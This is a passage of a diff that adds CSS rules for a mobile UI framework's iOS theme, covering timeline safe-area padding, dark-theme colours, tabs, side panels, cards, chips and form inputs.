.timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(10px + constant(safe-area-inset-left)); + padding-left: calc(10px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .ios.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .timeline-year-title, +.ios .theme-dark .timeline-month-title { + background: #1b1b1b; +} +.ios .theme-dark .timeline-item-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .timeline-item-time { + color: #8E8E93; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date, +.timeline-horizontal.ios .theme-dark .timeline-item-date { + background: #1b1b1b; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date:after, +.timeline-horizontal.ios .theme-dark .timeline-item-date:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before, +.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-item:after, +.timeline-horizontal.ios .theme-dark .timeline-item:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-year:after, +.timeline-horizontal.ios .theme-dark .timeline-year:after { + background-color: #282829; +} +/* === Tabs === */ +.tabs .tab { + display: none; +} +.tabs .tab-active { + display: block; +} +.tabs-animated-wrap { + position: relative; + width: 100%; + overflow: hidden; + height: 100%; +} +.tabs-animated-wrap > .tabs { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + height: 100%; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-animated-wrap > .tabs > .tab { + width: 100%; + display: block; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.tabs-animated-wrap.not-animated > .tabs { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-swipeable-wrap { + height: 100%; +} +.tabs-swipeable-wrap > .tabs { + height: 100%; +} +.tabs-swipeable-wrap > .tabs > .tab { + display: block; +} +.page > .tabs { + height: 100%; +} +/* === Panels === */ +.panel-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + opacity: 0; + z-index: 5999; + display: none; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.panel-backdrop.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel { + z-index: 1000; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + overflow: auto; + -webkit-overflow-scrolling: touch; + top: 0; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + width: 260px; + background-color: #fff; +} +.panel.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel.panel-reveal.not-animated ~ .views, +.panel.panel-reveal.not-animated ~ .view { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel-cover { + z-index: 6000; +} +.panel-left { + left: 0; +} +.panel-left.panel-cover { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.panel-right { + right: 0; +} +.panel-right.panel-cover { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.panel-visible-by-breakpoint { + display: block; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; +} +.panel-visible-by-breakpoint.panel-cover { + z-index: 5900; +} +html.with-panel .framework7-root > .views .page-content, +html.with-panel .framework7-root > .view .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +html.with-panel-left-cover .panel-backdrop, +html.with-panel-right-cover .panel-backdrop { + display: block; + opacity: 1; +} +html.with-panel-left-reveal .panel-backdrop, +html.with-panel-right-reveal .panel-backdrop, +html.with-panel-transitioning .panel-backdrop { + background: rgba(0, 0, 0, 0); + display: block; + opacity: 0; +} +html.with-panel-left-reveal .views, +html.with-panel-left-reveal .framework7-root > .view, +html.with-panel-left-reveal .panel-backdrop { + -webkit-transform: translate3d(260px, 0, 0); + transform: translate3d(260px, 0, 0); +} +html.with-panel-right-reveal .views, +html.with-panel-right-reveal .framework7-root > .view, +html.with-panel-right-reveal .panel-backdrop { + -webkit-transform: translate3d(-260px, 0, 0); + transform: translate3d(-260px, 0, 0); +} +html.with-panel-left-cover .panel-left { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-panel-right-cover .panel-right { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-statusbar.device-ios .panel, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel { + top: 20px; + height: calc(100% - 20px); +} +html.with-statusbar.device-android .panel, +html.with-statusbar.md:not(.device-ios):not(.device-android) .panel { + top: 24px; + height: calc(100% - 24px); +} +html.with-statusbar.device-iphone-x .panel { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); +} +.ios .panel-backdrop { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + background: rgba(0, 0, 0, 0); +} +.ios .panel { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios.with-panel-left-reveal .views, +.ios.with-panel-right-reveal .views, +.ios.with-panel-transitioning .views, +.ios.with-panel-left-reveal .framework7-root > .view, +.ios.with-panel-right-reveal .framework7-root > .view, +.ios.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +/* === Card === */ +.cards-list > ul:before, +.card .list > ul:before { + display: none !important; +} +.cards-list > ul:after, +.card .list > ul:after { + display: none !important; +} +.card { + background: #fff; + position: relative; + border-radius: 4px; + font-size: 14px; +} +.card .list, +.card .block { + margin: 0; +} +.row:not(.no-gap) .col > .card { + margin-left: 0; + margin-right: 0; +} +.card-content { + position: relative; +} +.card-content-padding { + position: relative; +} +.card-content-padding > p:first-child { + margin-top: 0; +} +.card-content-padding > p:last-child { + margin-bottom: 0; +} +.card-header, +.card-footer { + min-height: 44px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.card-header[valign="top"], +.card-footer[valign="top"] { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.card-header[valign="bottom"], +.card-footer[valign="bottom"] { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.card-header a.link, +.card-footer a.link { + position: relative; +} +.card-header a.link i.icon, +.card-footer a.link i.icon { + display: block; +} +.card-header a.icon-only, +.card-footer a.icon-only { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; +} +.card-header { + border-radius: 4px 4px 0 0; +} +.card-header:after { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .card-header:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-header:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-header.no-hairline:after { + display: none !important; +} +.card-footer { + border-radius: 0 0 4px 4px; +} +.card-footer:before { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +html.device-pixel-ratio-2 .card-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-footer.no-hairline:before { + display: none !important; +} +.ios .cards-list ul, +.ios .card .list ul { + background: none; +} +.ios .card { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + margin: 10px; +} +.ios .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .card-header a.link, +.ios .card-footer a.link { + line-height: 44px; + height: 44px; + margin-top: -10px; + margin-bottom: -10px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .card-header a.icon-only, +.ios .card-footer a.icon-only { + min-width: 44px; +} +.ios .card-content-padding { + padding: 15px; +} +.ios .card-content-padding > .list, +.ios .card-content-padding > .block { + margin: -15px; +} +.ios .card-header, +.ios .card-footer { + min-height: 44px; + padding: 10px 15px; +} +.ios .card-header { + font-size: 17px; +} +.ios .card-footer { + color: #6d6d72; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .card { + background-color: #1c1c1d; +} +.ios .theme-dark .card-outline { + border-color: #282829; +} +.ios .theme-dark .card-header:after { + background-color: #282829; +} +.ios .theme-dark .card-footer { + color: #8E8E93; +} +.ios .theme-dark .card-footer:before { + background-color: #282829; +} +/* === Chips === */ +.chip { + font-weight: normal; + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 2px 0; +} +.chip-media { + border-radius: 50%; + text-align: center; + color: #fff; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.chip-media img { + max-width: 100%; + max-height: 100%; + width: auto; + height: auto; + border-radius: 50%; + display: block; +} +.chip-label { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.chip-delete { + text-align: center; + cursor: pointer; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + background-repeat: no-repeat; +} +.chip .chip-delete.active-state { + opacity: 1; +} +.ios .chip { + font-size: 13px; + color: #000; + background: rgba(0, 0, 0, 0.12); + height: 24px; + border-radius: 12px; + padding: 0 10px; +} +.ios .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .chip-media { + width: 24px; + height: 24px; + vertical-align: middle; + border-radius: 50%; + text-align: center; + line-height: 16px; + color: #fff; + font-size: 12px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin-right: -10px; +} +.ios .chip-media + .chip-label { + margin-right: 4px; +} +.ios .chip-media i.icon { + font-size: 16px; + height: 16px; +} +.ios .chip-delete { + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 14px 14px; + opacity: 0.54; + margin-left: -10px; +} +.ios .theme-dark .chip { + background-color: #333; + color: #fff; +} +.ios .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.ios .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .chip.color-red { + background: #ff3b30; + color: #fff; +} +.ios .chip.color-red.chip-outline { + background: none; + border-color: #ff3b30; + color: #ff3b30; +} +.ios .chip.color-green { + background: #4cd964; + color: #fff; +} +.ios .chip.color-green.chip-outline { + background: none; + border-color: #4cd964; + color: #4cd964; +} +.ios .chip.color-blue { + background: #007aff; + color: #fff; +} +.ios .chip.color-blue.chip-outline { + background: none; + border-color: #007aff; + color: #007aff; +} +.ios .chip.color-pink { + background: #ff2d55; + color: #fff; +} +.ios .chip.color-pink.chip-outline { + background: none; + border-color: #ff2d55; + color: #ff2d55; +} +.ios .chip.color-yellow { + background: #ffcc00; + color: #fff; +} +.ios .chip.color-yellow.chip-outline { + background: none; + border-color: #ffcc00; + color: #ffcc00; +} +.ios .chip.color-orange { + background: #ff9500; + color: #fff; +} +.ios .chip.color-orange.chip-outline { + background: none; + border-color: #ff9500; + color: #ff9500; +} +.ios .chip.color-gray { + background: #8e8e93; + color: #fff; +} +.ios .chip.color-gray.chip-outline { + background: none; + border-color: #8e8e93; + color: #8e8e93; +} +.ios .chip.color-white { + background: #ffffff; + color: #fff; +} +.ios .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.ios .chip.color-black { + background: #000000; + color: #fff; +} +.ios .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +/* === Input === */ +input[type="text"], +input[type="password"], +input[type="search"], +input[type="email"], +input[type="tel"], +input[type="url"], +input[type="date"], +input[type="datetime-local"], +input[type="time"], +input[type="number"], +select, +textarea { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + -webkit-box-shadow: none; + box-shadow: none; + border-radius: 0; + outline: 0; + display: block; + padding: 0; + margin: 0; + font-family: inherit; + background: none; + resize: none; + font-size: inherit; + color: inherit; +} +.textarea-resizable-shadow { + opacity: 0; + position: absolute; + z-index: -1000; + pointer-events: none; + left: -1000px; + top: -1000px; + visibility: hidden; +} +.list input[type="text"], +.list input[type="password"], +.list input[type="search"], +.list input[type="email"], +.list input[type="tel"], +.list input[type="url"], +.list input[type="date"], +.list input[type="datetime-local"], +.list input[type="time"], +.list input[type="number"], +.list select, +.list textarea { + width: 100%; +} +.list input[type="datetime-local"] { + max-width: 50vw; +} +.list input[type="date"], +.list input[type="datetime-local"] { + line-height: 44px; +} +.list input[type="date"], +.list input[type="datetime-local"] { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + width: auto; +} +.list textarea { + resize: none; + line-height: 1.4; + height: 100px; +} +.list .item-label, +.list .item-floating-label { + vertical-align: top; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.list .item-input-wrap { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; +} +.input { + position: relative; +} +.input input, +.input select, +.input textarea { + width: 100%; +} +.input-clear-button { + opacity: 0; + pointer-events: none; + visibility: hidden; + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + position: absolute; + top: 50%; + border-radius: 50%; + border: none; + padding: 0; + margin: 0; + outline: 0; + z-index: 1; + cursor: pointer; + background: none; + left: 0; +} +.input-clear-button:after { + content: ''; + position: absolute; + width: 100%; + height: 100%; + left: 0; + top: 0; + background-repeat: no-repeat; + background-position: center center; +} +.input-clear-button:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.input-with-value ~ .input-clear-button, +.item-input-with-value .input-clear-button, +.input-with-value .input-clear-button { + opacity: 1; + pointer-events: auto; + visibility: visible; +} +.input-dropdown-wrap, +.input-dropdown { + position: relative; +} +.input-dropdown-wrap:before, +.input-dropdown:before { + content: ''; + pointer-events: none; + position: absolute; + top: 50%; + margin-top: -2px; + width: 0; + height: 0; + border-left: 5px solid transparent; + border-right: 5px solid transparent; + border-top: 5px solid #727272; + left: 2px; +} +.input-dropdown-wrap select, +.input-dropdown select, +.input-dropdown-wrap input, +.input-dropdown input, +.input-dropdown-wrap textarea, +.input-dropdown textarea { + padding-right: 14px; +} +.ios .list input[type="text"], +.ios .list input[type="password"], +.ios .list input[type="search"], +.ios .list input[type="email"], +.ios .list input[type="tel"], +.ios .list input[type="url"], +.ios .list input[type="date"], +.ios .list input[type="datetime-local"], +.ios .list input[type="time"], +.ios .list input[type="number"], +.ios .list select { + height: 44px; + color: #000; + font-size: 17px; +} +.ios .list textarea { + color: #000; + font-size: 17px; + padding-top: 11px; + padding-bottom: 11px; +} +.ios .list textarea.resizable { + height: 44px; +} +.ios .item-label, +.ios .item-floating-label { + font-size: 12px; + width: 100%; + line-height: 1; + overflow: visible; +} +.ios .item-label + .item-input-wrap, +.ios .item-floating-label + .item-input-wrap { + margin-top: 0; +} +.ios .item-input .item-inner { + display: block; +} +.ios .item-input .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.ios .item-input-wrap { + margin-top: -8px; 